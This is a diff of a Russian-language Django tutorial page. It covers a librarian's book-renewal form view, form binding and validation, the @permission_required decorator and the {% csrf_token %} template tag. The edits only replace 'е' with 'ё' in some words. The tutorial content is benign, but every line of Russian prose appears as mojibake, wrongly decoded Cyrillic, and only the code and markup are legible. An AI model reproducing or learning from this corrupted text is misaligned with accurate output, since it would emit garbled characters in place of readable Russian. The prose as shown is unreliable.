ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎΠ± обновляСмой ΠΊΠ½ΠΈΠ³Π΅.</p>
+<p>ПослС создания Ρ„ΠΎΡ€ΠΌΡ‹ ΠΌΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>render()</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ HTML страницу; ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘ΠΌ Π΅ΠΉ Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² шаблон ΠΈ контСкст, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ„ΠΎΡ€ΠΌΡ‹. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, контСкст содСрТит ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΈΠΏΠ° <code>BookInstance</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² шаблонС, для получСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎΠ± обновляСмой ΠΊΠ½ΠΈΠ³Π΅.</p>
-<p>Если всС Ρ‚Π°ΠΊΠΈ Ρƒ нас <code>POST</code>-запрос, Ρ‚ΠΎΠ³Π΄Π° ΠΌΡ‹ создаСм ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ с  ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>form</code> ΠΈ заполняСм Π΅Π³ΠΎ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΌΠΈ ΠΈΠ· запроса. Π”Π°Π½Π½Ρ‹ΠΉ процСсс называСтся связываниСм (ΠΈΠ»ΠΈ, Π±ΠΈΠ½Π΄ΠΈΠ½Π³ΠΎΠΌ, ΠΎΡ‚ Π°Π½Π³Π». "binding") ΠΈ позволяСт Π½Π°ΠΌ провСсти Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΡŽ Π΄Π°Π½Π½Ρ‹Ρ…. Π”Π°Π»Π΅Π΅ осущСствляСтся валидация Ρ„ΠΎΡ€ΠΌΡ‹, ΠΏΡ€ΠΈ этом ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡŽΡ‚ΡΡ всС поля Ρ„ΠΎΡ€ΠΌΡ‹ β€” для этого ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ ΠΊΠΎΠ΄ ΠΎΠ±ΠΎΠ±Ρ‰Π΅Π½Π½ΠΎΠ³ΠΎ класса, Ρ‚Π°ΠΊ ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, Π² частности нашСй Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹Ρ… Π΄Π°Ρ‚ <code>clean_renewal_date()</code>.Β </p>
+<p>Если всС Ρ‚Π°ΠΊΠΈ Ρƒ нас <code>POST</code>-запрос, Ρ‚ΠΎΠ³Π΄Π° ΠΌΡ‹ создаём ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ с  ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>form</code> ΠΈ заполняСм Π΅Π³ΠΎ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΌΠΈ ΠΈΠ· запроса. Π”Π°Π½Π½Ρ‹ΠΉ процСсс называСтся связываниСм (ΠΈΠ»ΠΈ, Π±ΠΈΠ½Π΄ΠΈΠ½Π³ΠΎΠΌ, ΠΎΡ‚ Π°Π½Π³Π». "binding") ΠΈ позволяСт Π½Π°ΠΌ провСсти Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΡŽ Π΄Π°Π½Π½Ρ‹Ρ…. Π”Π°Π»Π΅Π΅ осущСствляСтся валидация Ρ„ΠΎΡ€ΠΌΡ‹, ΠΏΡ€ΠΈ этом ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡŽΡ‚ΡΡ всС поля Ρ„ΠΎΡ€ΠΌΡ‹ β€” для этого ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ ΠΊΠΎΠ΄ ΠΎΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½ΠΎΠ³ΠΎ класса, Ρ‚Π°ΠΊ ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, Π² частности нашСй Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹Ρ… Π΄Π°Ρ‚ <code>clean_renewal_date()</code>.Β </p>
<pre class="brush: python notranslate">Β  Β  book_inst = get_object_or_404(BookInstance, pk=pk)
Β  Β  # Если Π΄Π°Π½Π½Ρ‹ΠΉ запрос Ρ‚ΠΈΠΏΠ° POST, Ρ‚ΠΎΠ³Π΄Π°
Β  Β  if request.method == 'POST':
-Β  Β  Β  Β  # Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ экзСмпляр Ρ„ΠΎΡ€ΠΌΡ‹ ΠΈ заполняСм Π΄Π°Π½Π½Ρ‹ΠΌΠΈ ΠΈΠ· запроса (связываниС, binding):
+Β  Β  Β  Β  # Π‘ΠΎΠ·Π΄Π°Ρ‘ΠΌ экзСмпляр Ρ„ΠΎΡ€ΠΌΡ‹ ΠΈ заполняСм Π΄Π°Π½Π½Ρ‹ΠΌΠΈ ΠΈΠ· запроса (связываниС, binding):
<strong>Β  Β  Β  Β  form = RenewBookForm(request.POST)</strong>
Β  Β  Β  Β  # ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° валидности Ρ„ΠΎΡ€ΠΌΡ‹:
@@ -305,7 +305,7 @@ def renew_book_librarian(request, pk):
<p>ПослСдним шагом Π² части ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Ρ„ΠΎΡ€ΠΌΡ‹ прСдставлСния являСтся ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ Π½Π° Π΄Ρ€ΡƒΠ³ΡƒΡŽ страницу, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ страницу «УспСх». Π’ нашСм случаС ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ класса <code>HttpResponseRedirect</code> ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>reverse()</code> для ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π° ΠΊ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽ с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>'all-borrowed'</code> (это Π±Ρ‹Π»ΠΎ домашним Π·Π°Π΄Π°Π½ΠΈΠ΅ΠΌ Π² <a href="/en-US/docs/Learn/Server-side/Django/authentication_and_sessions#Challenge_yourself">Руководство Ρ‡Π°ΡΡ‚ΡŒ 8: АутСнтификация ΠΈ Ρ€Π°Π·Π³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠ΅ доступа</a>). Если Π²Ρ‹ Π½Π΅ создали Π΄Π°Π½Π½ΡƒΡŽ страницу, Ρ‚ΠΎ просто ΡƒΠΊΠ°ΠΆΠΈΡ‚Π΅ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ Π½Π° домашнюю страницу сайта ΠΏΠΎ адрСсу '/').</p>
-<p>ВсС это Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ для управлСния Ρ„ΠΎΡ€ΠΌΠΎΠΉ ΠΊΠ°ΠΊ Ρ‚Π°ΠΊΠΎΠ²ΠΎΠΉ, Π½ΠΎ Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΊΠ°ΠΊ-Ρ‚ΠΎ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽ (ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ доступ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ библиотСкарям). ΠœΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½ΠΎΠ²ΠΎΠ΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ (permission) Π² классС <code>BookInstance</code> ("<code>can_renew</code>"), Π½ΠΎ ΠΌΡ‹ ΠΏΠΎΠΉΠ΄Π΅ΠΌ простым ΠΏΡƒΡ‚Π΅ΠΌ ΠΈ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡΡ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ-Π΄Π΅ΠΊΠΎΡ€Π°Ρ‚ΠΎΡ€ΠΎΠΌ <code>@permission_required</code>Β  вмСстС с нашим ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ΠΌ<code>can_mark_returned</code>.</p>
+<p>ВсС это Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ для управлСния Ρ„ΠΎΡ€ΠΌΠΎΠΉ ΠΊΠ°ΠΊ Ρ‚Π°ΠΊΠΎΠ²ΠΎΠΉ, Π½ΠΎ Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΊΠ°ΠΊ-Ρ‚ΠΎ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽ (ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ доступ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ библиотСкарям). ΠœΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½ΠΎΠ²ΠΎΠ΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ (permission) Π² классС <code>BookInstance</code> ("<code>can_renew</code>"), Π½ΠΎ ΠΌΡ‹ ΠΏΠΎΠΉΠ΄Ρ‘ΠΌ простым ΠΏΡƒΡ‚Ρ‘ΠΌ ΠΈ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡΡ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ-Π΄Π΅ΠΊΠΎΡ€Π°Ρ‚ΠΎΡ€ΠΎΠΌ <code>@permission_required</code>Β  вмСстС с нашим ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ΠΌ<code>can_mark_returned</code>.</p>
<p>ΠžΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ Π²ΠΈΠ΄ отобраТСния ΠΏΠΎΠΊΠ°Π·Π°Π½ Π½ΠΈΠΆΠ΅. ΠŸΠΎΠΆΠ°Π»ΡƒΠΉΡΡ‚Π°, скопируйтС Π΄Π°Π½Π½Ρ‹ΠΉ тСкст Π² ниТнюю Ρ‡Π°ΡΡ‚ΡŒ Ρ„Π°ΠΉΠ»Π° <strong>locallibrary/catalog/views.py</strong>.</p>
@@ -369,12 +369,12 @@ def renew_book_librarian(request, pk):
{% endblock %}</pre>
-<p>Π‘ΠΎΠ»ΡŒΡˆΠ°Ρ Π΅Π³ΠΎ Ρ‡Π°ΡΡ‚ΡŒ Π²Π°ΠΌ Π·Π½Π°ΠΊΠΎΠΌΠ° ΠΈΠ· ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… частСй руководства. ΠœΡ‹ Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅ΠΌ Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ шаблон, Π° Π·Π°Ρ‚Π΅ΠΌ Π·Π°ΠΌΠ΅Ρ‰Π°Π΅ΠΌ Π±Π»ΠΎΠΊ содСрТимого <code>content</code>. Π£ нас имССтся Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ Π½Π° ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ <code>\{{bookinst}}</code> (ΠΈ Π΅Π΅ поля) ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π»ΠΈ Π΅Π΅ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ контСкста ΠΏΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>render()</code>. Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Π΄Π°Π½Π½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ для Π²Ρ‹Π²ΠΎΠ΄Π° Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° ΠΊΠ½ΠΈΠ³ΠΈ, Π΄Π°Ρ‚ Π΅Π΅ получСния ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‚Π°.</p>
+<p>Π‘ΠΎΠ»ΡŒΡˆΠ°Ρ Π΅Π³ΠΎ Ρ‡Π°ΡΡ‚ΡŒ Π²Π°ΠΌ Π·Π½Π°ΠΊΠΎΠΌΠ° ΠΈΠ· ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… частСй руководства. ΠœΡ‹ Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅ΠΌ Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ шаблон, Π° Π·Π°Ρ‚Π΅ΠΌ Π·Π°ΠΌΠ΅Ρ‰Π°Π΅ΠΌ Π±Π»ΠΎΠΊ содСрТимого <code>content</code>. Π£ нас имССтся Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ Π½Π° ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ <code>\{{bookinst}}</code> (ΠΈ Π΅Ρ‘ поля) ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π»ΠΈ Π΅Ρ‘ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ контСкста ΠΏΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>render()</code>. Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Π΄Π°Π½Π½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ для Π²Ρ‹Π²ΠΎΠ΄Π° Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° ΠΊΠ½ΠΈΠ³ΠΈ, Π΄Π°Ρ‚ Π΅Ρ‘ получСния ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‚Π°.</p>
-<p>Код Ρ„ΠΎΡ€ΠΌΡ‹ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ прост. Π’ ΠΏΠ΅Ρ€Π²ΡƒΡŽ ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ ΠΌΡ‹ объявляСм тэг<code>form</code>, Π·Π°Ρ‚Π΅ΠΌ опрСдСляСм ΠΊΡƒΠ΄Π° Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹ Π΄Π°Π½Π½Ρ‹Π΅ (<code>action</code>) ΠΈ ΠΊΠ°ΠΊΠΈΠΌ способом (<code>method</code>, Π² Π΄Π°Π½Π½ΠΎΠΌ случаС "HTTP POST") β€” Ссли ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ΡΡŒ ΠΊ ΠΎΠ±Π·ΠΎΡ€Ρƒ Ρ€Π°Π·Π΄Π΅Π»Π° <a href="#HTML_forms">Π€ΠΎΡ€ΠΌΡ‹ HTML</a> Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ части Π΄Π°Π½Π½ΠΎΠΉ страницы, Ρ‚ΠΎ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ Ρ‚Π°ΠΌ Π·Π°ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ пустоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>action</code>, ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ· Ρ„ΠΎΡ€ΠΌΡ‹ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Ρ‹ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ ΠΏΠΎ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌΡƒ URL-адрСсу Π΄Π°Π½Π½ΠΎΠΉ страницы  (Ρ‡Π΅Π³ΠΎ ΠΌΡ‹ ΠΈ Ρ…ΠΎΡ‚ΠΈΠΌ!). Π’Π½ΡƒΡ‚Ρ€ΠΈ тэга Ρ„ΠΎΡ€ΠΌΡ‹ ΠΌΡ‹ объявляСм ΠΊΠ½ΠΎΠΏΠΊΡƒ <code>submit</code> ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ наши Π΄Π°Π½Π½Ρ‹Π΅. Π‘Π»ΠΎΠΊ <code>{% csrf_token %}</code>, Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½Ρ‹ΠΉ ΠΏΠ΅Ρ€Π²ΠΎΠΉ строкой Π²Π½ΡƒΡ‚Ρ€ΠΈ Π±Π»ΠΎΠΊΠ° Ρ„ΠΎΡ€ΠΌΡ‹, являСтся Ρ‡Π°ΡΡ‚ΡŒΡŽ Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠ° Django ΠΈ слуТит для Π±ΠΎΡ€ΡŒΠ±Ρ‹ с CSRF.</p>
+<p>Код Ρ„ΠΎΡ€ΠΌΡ‹ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ прост. Π’ ΠΏΠ΅Ρ€Π²ΡƒΡŽ ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ ΠΌΡ‹ объявляСм тэг<code>form</code>, Π·Π°Ρ‚Π΅ΠΌ опрСдСляСм ΠΊΡƒΠ΄Π° Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹ Π΄Π°Π½Π½Ρ‹Π΅ (<code>action</code>) ΠΈ ΠΊΠ°ΠΊΠΈΠΌ способом (<code>method</code>, Π² Π΄Π°Π½Π½ΠΎΠΌ случаС "HTTP POST") β€” Ссли ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ΡΡŒ ΠΊ ΠΎΠ±Π·ΠΎΡ€Ρƒ Ρ€Π°Π·Π΄Π΅Π»Π° <a href="#HTML_forms">Π€ΠΎΡ€ΠΌΡ‹ HTML</a> Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ части Π΄Π°Π½Π½ΠΎΠΉ страницы, Ρ‚ΠΎ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ Ρ‚Π°ΠΌ Π·Π°ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ пустоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>action</code>, ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ· Ρ„ΠΎΡ€ΠΌΡ‹ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Ρ‹ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ ΠΏΠΎ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌΡƒ URL-адрСсу Π΄Π°Π½Π½ΠΎΠΉ страницы  (Ρ‡Π΅Π³ΠΎ ΠΌΡ‹ ΠΈ Ρ…ΠΎΡ‚ΠΈΠΌ!). Π’Π½ΡƒΡ‚Ρ€ΠΈ тэга Ρ„ΠΎΡ€ΠΌΡ‹ ΠΌΡ‹ объявляСм ΠΊΠ½ΠΎΠΏΠΊΡƒ <code>submit</code> ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ наши Π΄Π°Π½Π½Ρ‹Π΅. Π‘Π»ΠΎΠΊ <code>{% csrf_token %}</code>, Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½Ρ‹ΠΉ ΠΏΠ΅Ρ€Π²ΠΎΠΉ строкой Π²Π½ΡƒΡ‚Ρ€ΠΈ Π±Π»ΠΎΠΊΠ° Ρ„ΠΎΡ€ΠΌΡ‹, являСтся Ρ‡Π°ΡΡ‚ΡŒΡŽ Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠ° Django ΠΈ слуТит для Π±ΠΎΡ€ΡŒΠ±Ρ‹ с CSRF.</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> ДобавляйтС <code>{% csrf_token %}</code> Π² ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ шаблон Django, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π²Ρ‹ создаСтС Ρ„ΠΎΡ€ΠΌΡƒ для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ Π΄Π°Π½Π½Ρ‹Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ <code>POST</code>. Π­Ρ‚ΠΎ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈΡ‚ΡŒ Π²Π΅Ρ€ΠΎΡΡ‚Π½ΠΎΡΡ‚ΡŒ Π²Π·Π»ΠΎΠΌΠ° вашСго сайта Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠ°ΠΌΠΈ.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> ДобавляйтС <code>{% csrf_token %}</code> Π² ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ шаблон Django, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π²Ρ‹ создаётС Ρ„ΠΎΡ€ΠΌΡƒ для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ Π΄Π°Π½Π½Ρ‹Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ <code>POST</code>. Π­Ρ‚ΠΎ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈΡ‚ΡŒ Π²Π΅Ρ€ΠΎΡΡ‚Π½ΠΎΡΡ‚ΡŒ Π²Π·Π»ΠΎΠΌΠ° вашСго сайта Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠ°ΠΌΠΈ.</p>
</div>
<p>ВсС Ρ‡Ρ‚ΠΎ ΠΎΡΡ‚Π°Π»ΠΎΡΡŒ, это ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ <code>\{{form}}</code>, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π»ΠΈ Π² шаблон Π² словарС контСкста. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ это вас Π½Π΅ ΡƒΠ΄ΠΈΠ²ΠΈΡ‚, Π½ΠΎ Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΌΡ‹ прСдоставим Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Ρ„ΠΎΡ€ΠΌΠ΅ ΠΎΡ‚Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΡ‚ΡŒ свои поля с ΠΈΡ… ΠΌΠ΅Ρ‚ΠΊΠ°ΠΌΠΈ, Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π°ΠΌΠΈ ΠΈ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ тСкстами, ΠΈ Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅:</p>
@@ -390,7 +390,7 @@ def renew_book_librarian(request, pk):
</pre>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ это Π½Π΅ ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½ΠΎ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ наша Ρ„ΠΎΡ€ΠΌΠ° содСрТит Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½ΠΎ ΠΏΠΎΠ»Π΅, Π½ΠΎ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ ΠΏΠΎΠ»Π΅ Ρ„ΠΎΡ€ΠΌΡ‹ помСщаСтся Π² Π΅Π΅ ΡΠΎΠ±ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ строку Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ (поэтому пСрСмСнная <code>\{{form}}</code> находится Π²Π½ΡƒΡ‚Ρ€ΠΈ тэга <code>table </code>.​​​​​​ Π’ΠΎΡ‚ ΠΆΠ΅ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ, Ссли Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌ <code>\{{ form.as_table }}</code>.</p>
